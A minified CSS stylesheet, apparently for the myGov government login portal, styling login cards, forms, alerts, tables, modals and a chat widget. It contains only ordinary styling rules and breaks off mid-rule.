.pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media screen and (min-width:576px){.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:30%}}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{position:relative}.unauth .product-description-vp .inner .tips span,.unauth .product-description-vp .product-description .digital-id-inner .tips span,.unauth .product-description .product-description-vp .digital-id-inner .tips span{display:inline-block;margin-top:1em}@media screen and (min-width:992px){.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:left}.unauth .product-description-vp .inner .tips h2,.unauth .product-description-vp .product-description .digital-id-inner .tips h2,.unauth .product-description .product-description-vp .digital-id-inner .tips h2,.unauth .product-description-vp .inner .tips .display,.unauth .product-description-vp .product-description .digital-id-inner .tips .display,.unauth .product-description .product-description-vp .digital-id-inner .tips .display{float:right}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{float:left}}.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description-vp .inner h2:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner h2:first-of-type,.unauth .product-description-vp .inner .display:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner .display:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner .display:first-of-type,.unauth .product-description-vp .inner p:first-of-type,.unauth .product-description-vp .product-description .digital-id-inner p:first-of-type,.unauth .product-description .product-description-vp .digital-id-inner p:first-of-type{margin-top:0;text-align:left}}.unauth .product-description-vp .divider{margin:1.5em 0;border-bottom:3px #999 dashed}.unauth .product-description-vp ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:inside;padding-left:0}@media screen and (min-width:992px){.unauth .product-description-vp ul{overflow:auto}.unauth .product-description-vp ul li{float:left;padding-right:1em}}@-webkit-keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}@keyframes loading{0%{background-color:#ccc}40%{background-color:#026540}60%{background-color:#ccc}}.animated-dots span{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-direction:normal;animation-direction:normal;-webkit-animation-duration:1.5s;animation-duration:1.5s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear;border-radius:50%;background-color:#ccc;display:inline-block;margin:0 .3em;height:16px;width:16px}.animated-dots span:nth-child(1){-webkit-animation-delay:.9s;animation-delay:.9s}.animated-dots span:nth-child(2){-webkit-animation-delay:1.05s;animation-delay:1.05s}.animated-dots span:nth-child(3){-webkit-animation-delay:1.2s;animation-delay:1.2s}.animated-dots span:nth-child(4){-webkit-animation-delay:1.35s;animation-delay:1.35s}.animated-dots span:nth-child(5){-webkit-animation-delay:1.5s;animation-delay:1.5s}.offset-top{margin-top:30%;text-align:center}#poro-form label,.poro-form label{display:inline-block}#poro-form #profile-details .profile-label span:first-of-type,.poro-form #profile-details .profile-label span:first-of-type{font-weight:bold}#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-a,#poro-form .select-group,.poro-form .side-a,.poro-form .select-group{float:left;width:48%;clear:left}}#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{display:block;width:100%}@media screen and (min-width:768px){#poro-form .side-b,#poro-form .select-group+.select-group,.poro-form .side-b,.poro-form .select-group+.select-group{float:right;width:48%}}#poro-form .selectRadio,.poro-form .selectRadio{clear:left}#poro-form .sidebyside,.poro-form .sidebyside{display:table;width:100%}#poro-form .sidebyside>div,.poro-form .sidebyside>div{display:table-column;width:100%;display:block;clear:none}@media screen and (min-width:768px){#poro-form .sidebyside>div,.poro-form .sidebyside>div{width:48%;float:left;display:inline-block}}@media screen and (min-width:768px){#poro-form .sidebyside>div:nth-of-type(even),.poro-form .sidebyside>div:nth-of-type(even){float:right;display:inline-block}}#poro-form .poro-input,.poro-form .poro-input{width:100%}@media screen and (min-width:768px){#poro-form .poro-input,.poro-form .poro-input{width:48%}}#poro-form .poro-date-fields,.poro-form .poro-date-fields{display:block;clear:both}#poro-form .poro-input-group,.poro-form .poro-input-group{width:100%}@media screen and (min-width:768px){#poro-form .poro-input-group,.poro-form .poro-input-group{width:48%}}#poro-form .poro-field-group,#poro-form .poro-input-group,.poro-form .poro-field-group,.poro-form .poro-input-group{margin-top:15px;display:block;clear:both}#poro-form .poro-field-group label,#poro-form .poro-input-group label,.poro-form .poro-field-group label,.poro-form .poro-input-group label{margin-top:0;display:inline;position:relative;padding-top:0;width:100%}@media screen and (min-width:768px){#poro-form .poro-field-group.select-group,#poro-form .poro-input-group.select-group,.poro-form .poro-field-group.select-group,.poro-form .poro-input-group.select-group{clear:none}}#poro-form .buttonControl-group,.poro-form .buttonControl-group{margin-left:5px;position:relative;display:inline-block}#poro-form .buttonControl::after,.poro-form .buttonControl::after{content:'';background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(180deg);transform:rotate(180deg);background-repeat:no-repeat;border-color:black;color:#0f6493;position:absolute;right:-20px;height:8px;width:12px}#poro-form .buttonControl span,.poro-form .buttonControl span{font-size:1rem}#poro-form .buttonControl[aria-expanded="true"]::after,.poro-form .buttonControl[aria-expanded="true"]::after{background-image:url("../icons/panel-icon.svg");top:10px;-webkit-transform:rotate(0deg);transform:rotate(0deg)}#poro-form .topic,.poro-form .topic{display:none;margin-bottom:1em;padding:10px;background-color:#bfe7f6;max-width:42em;font-size:87.5%;position:relative;margin-top:10px}#poro-form .topic:before,.poro-form .topic:before{bottom:100%;left:50px;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}#poro-form .topic:before,.poro-form .topic:before{border-bottom-color:#bfe7f6;border-width:10px;margin-left:-36px}#poro-form .topic p,.poro-form .topic p{margin:0}#poro-form .input-hint,#poro-form .help-box,.poro-form .input-hint,.poro-form .help-box{font-size:87.5%}#poro-form .input-hint p,#poro-form .help-box p,.poro-form .input-hint p,.poro-form .help-box p{margin:0;padding:0}#poro-form .poro-subgroup .sub-group-delimiter,.poro-form .poro-subgroup .sub-group-delimiter{float:left;width:1em;top:15px;height:100%;position:relative;display:inline-block}#poro-form .poro-subgroup input,.poro-form .poro-subgroup input{width:4em;float:left}#poro-form .poro-subgroup input.medium-input,.poro-form .poro-subgroup input.medium-input{width:5em}#poro-form .poro-subgroup input.large-input,.poro-form .poro-subgroup input.large-input{width:10em}#poro-form .poro-subgroup input.xl-input,.poro-form .poro-subgroup input.xl-input{width:100%}#poro-form .poro-subgroup input:first-of-type,.poro-form .poro-subgroup input:first-of-type{margin-right:5px}#poro-form input.irn-code,.poro-form input.irn-code{width:4em}#poro-form .modal-overlay,.poro-form .modal-overlay{background:rgba(0,0,0,0.8);height:100%;left:0;display:block;overflow:auto;padding:0 1.5em 1.5em;position:fixed;top:0;-webkit-transition:opacity .2s;transition:opacity .2s;width:100%;z-index:-1}#poro-form .modal-overlay h2,#poro-form .modal-overlay .display,.poro-form .modal-overlay h2,.poro-form .modal-overlay .display{border-bottom:0}#poro-form .modal-overlay[aria-hidden="true"],.poro-form .modal-overlay[aria-hidden="true"]{opacity:0;visibility:hidden}#poro-form .modal-overlay[aria-hidden="false"],.poro-form .modal-overlay[aria-hidden="false"]{opacity:1;visibility:visible;z-index:2}#poro-form .modal-content,.poro-form .modal-content{background:#fff;margin:auto;max-height:90%;max-width:400px;overflow:auto;overflow-x:hidden;padding:1em;position:relative;top:10%;-webkit-transform:scale(0.8);transform:scale(0.8);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;width:100%}#poro-form .modal-overlay[aria-hidden="false"] .modal-content,.poro-form .modal-overlay[aria-hidden="false"] .modal-content{-webkit-transform:scale(1);transform:scale(1)}#poro-form #modal-title,.poro-form #modal-title{margin-top:0;padding-right:1.25em}#poro-form .btn-close,.poro-form .btn-close{background:0;border:0;cursor:pointer;font-family:arial;font-size:2em;font-weight:800;line-height:1;padding:0;position:absolute;right:.25em;top:.25em;z-index:2}#poro-form .help-container,.poro-form .help-container{background-color:#eee;padding:2em;font-size:.8rem}#poro-form .help-container p,.poro-form .help-container p{margin:0}#poro-form .help-container a,.poro-form .help-container a{color:#0f6493}#poro-form .help-container a:hover,.poro-form .help-container a:hover{color:#fff}#poro-form input[name*="clkCRN"][value="000000000Z"],.poro-form input[name*="clkCRN"][value="000000000Z"]{color:transparent}/*! Increment heading numers based on code from: http://philarcher.org/diary/2013/headingnumbers/ */ol.table-of-contents{padding-left:0;list-style:none}ol.table-of-contents ol{list-style:none}ol.table-of-contents .toc-n{display:inline-block;padding-right:.5em}.numbered-headings{counter-reset:h2}.numbered-headings h2,.numbered-headings .display{counter-reset:h3}.numbered-headings h3,.numbered-headings #poro-form #modal-title,#poro-form .numbered-headings #modal-title,.numbered-headings .poro-form #modal-title,.poro-form .numbered-headings #modal-title{counter-reset:h4}.numbered-headings h4{counter-reset:h5}.numbered-headings h5{counter-reset:h6}.numbered-headings h2::before,.numbered-headings .display::before{counter-increment:h2;content:counter(h2) ". "}.numbered-headings h3::before,.numbered-headings #poro-form #modal-title::before,#poro-form .numbered-headings #modal-title::before,.numbered-headings .poro-form #modal-title::before,.poro-form .numbered-headings #modal-title::before{counter-increment:h3;content:counter(h2) "." counter(h3) " "}.numbered-headings h4::before{counter-increment:h4;content:counter(h2) "." counter(h3) "." counter(h4) " "}.numbered-headings h5::before{counter-increment:h5;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) " "}.numbered-headings h6::before{counter-increment:h6;content:counter(h2) "." counter(h3) "." counter(h4) "." counter(h5) "." counter(h6) " "}.numbered-headings h2.nocount:before,.numbered-headings .nocount.display:before,.numbered-headings h3.nocount:before,.numbered-headings #poro-form .nocount#modal-title:before,#poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings .poro-form .nocount#modal-title:before,.poro-form .numbered-headings .nocount#modal-title:before,.numbered-headings h4.nocount:before,.numbered-headings h5.nocount:before,.numbered-headings h6.nocount:before{content:"";counter-increment:none}.help-info-group{position:relative;display:inline-block}.help-info::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-inline::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-inline[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}img#mygov-access-conf{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#mygov-access-conf{margin-top:1em}}img#warning{display:block;margin-left:auto;margin-right:auto;margin-top:2em;height:140px}@media screen and (min-width:320px){img#warning{margin-top:1em}}@media screen and (-webkit-min-device-pixel-ratio:0){img#app-store-logo{padding-bottom:10px}}@-moz-document url-prefix(){img#app-store-logo{padding-bottom:10px}}img#play-store-logo{height:59.98px}a.app-logo{border-bottom:0}a.app-logo:hover{background-color:transparent}#idp-link-info{padding-left:unset;list-style-position:inside}#idp-link-info h3,#idp-link-info #poro-form #modal-title,#poro-form #idp-link-info #modal-title,#idp-link-info .poro-form #modal-title,.poro-form #idp-link-info #modal-title{display:inline;margin-bottom:.8em}#idp-link-info img.link-step{width:30%;display:block;margin:1.5em auto}#idp-link-info .next-step{display:none}#idp-link-info .link-step-info{text-align:center}@media screen and (min-width:768px){#idp-link-info{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}#idp-link-info .next-step{display:inline;-webkit-flex-basis:5%;-ms-flex-preferred-size:5%;flex-basis:5%;margin:3em 0}#idp-link-info .link-step{-webkit-flex-basis:33%;-ms-flex-preferred-size:33%;flex-basis:33%;min-width:150px}#idp-link-info img.link-step{width:50%;margin:3em auto}#idp-link-info img.next-step{width:60%}}img#externallinkicon{height:1em}.va_clearfix:before,.va_clearfix:after{content:"";display:table}.va_clearfix:after{clear:both}.va_chatAnchor{position:relative;z-index:999999;bottom:0;right:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;min-width:320px;line-height:1;-webkit-transition:1s;transition:1s;color:#fff;display:none}.va_iframe{display:block;height:0;width:350px;min-width:320px;position:fixed;right:50px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;bottom:0;border:0;overflow:scroll;box-shadow:0 0 3px rgba(0,0,0,0.3)}.va_header{max-height:45px;background:#777;background:-webkit-linear-gradient(#4d4d4f,#777);background:linear-gradient(#4d4d4f,#777);filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr='#4D4D4F',endColorstr='#777777');color:#fff;cursor:pointer;position:relative}.va_header:focus{outline:3px solid #fff}.va_toggleIcon{background:url(../icons/va_arrowup.svg);background-size:20px 10px;background-repeat:no-repeat;padding-top:10px;position:absolute!important;right:0;display:block;background-position:center;top:0;height:0!important;width:0!important;margin:0;margin-right:15px;padding:15px 0 18.5px 18.5px;margin-top:3.5px}.va_toggleIcon:focus{outline:3px solid #fff}.va_expanded{background:url(../icons/va_arrowdown.svg);background-size:20px 10px;background-repeat:no-repeat;background-position:center}.va_resizeIcon{height:0;width:0;background:url(../icons/va_resizelarge.svg);background-size:15px 